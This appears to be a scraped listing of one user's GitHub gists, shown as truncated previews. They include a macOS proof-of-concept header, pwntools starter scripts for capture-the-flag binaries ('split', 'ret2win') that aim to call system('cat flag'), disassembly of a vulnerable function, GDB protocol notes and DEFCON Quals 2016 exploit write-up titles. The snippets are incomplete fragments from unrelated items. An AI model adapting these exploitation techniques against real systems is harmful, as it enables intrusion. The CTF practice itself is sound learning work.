zachriggle

/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/

#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

zachriggle

#if 0
.PHONY: run
run: a.out
	@./a.out

a.out: $(MAKEFILE_LIST)
	@gcc -xc $(MAKEFILE_LIST)

ifeq (0, 1)
#endif

zachriggle

Lots of commands in GDB's protocol use hex-encoded data. A $ starts a packet, and all packets end with # followed by a one-byte, hex-encoded checksum.

Let's look at the protocol for the request:

remote get /proc/self/cmdline ./cmdline

Which should fetch /proc/self/cmdline and dump it to ./cmdline. It does!

$ phd cmdline

zachriggle

from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('split')

# We need to invoke system("cat flag"), which requires knowing the
# location of both the function 'system' as well as the string 'cat flag'.
system = elf.symbols.system
cat_flag = elf.search("cat flag").next()

zachriggle

from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')

# Enable verbose logging so we can see exactly what is being sent.
context.log_level = 'debug'

# Print out the target address
info("%#x target", elf.symbols.ret2win)

zachriggle

Keybase proof

I hereby claim:

• I am zachriggle on github.
• I am zachriggle (https://keybase.io/zachriggle) on keybase.
• I have a public key ASBYNpGGwzmRUnRb5-fg2Qy7jdirdXG-ECeIbGP_Lv72oQo

To claim this, I am signing this object:

zachriggle

from pwn import *

# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
 804844b:       55                      push   ebp
 804844c:       89 e5                   mov    ebp,esp
 804844e:       81 ec 88 00 00 00       sub    esp,0x88
 8048454:       83 ec 04                sub    esp,0x4
 8048457:       68 00 01 00 00          push   0x100

zachriggle

from pwn import *

# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
 804844b:       55                      push   ebp
 804844c:       89 e5                   mov    ebp,esp
 804844e:       81 ec 88 00 00 00       sub    esp,0x88
 8048454:       83 ec 04                sub    esp,0x4
 8048457:       68 00 01 00 00          push   0x100

zachriggle

DEFCON CTF Qualifiers 2016 -- heapfun4u Exploit Write-Up

The write-up is the exploit.

Example Output

[*] './heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO

zachriggle

DEFCON Quals 2016 Pwnable -- GladOS

The write-up is basically the exploit.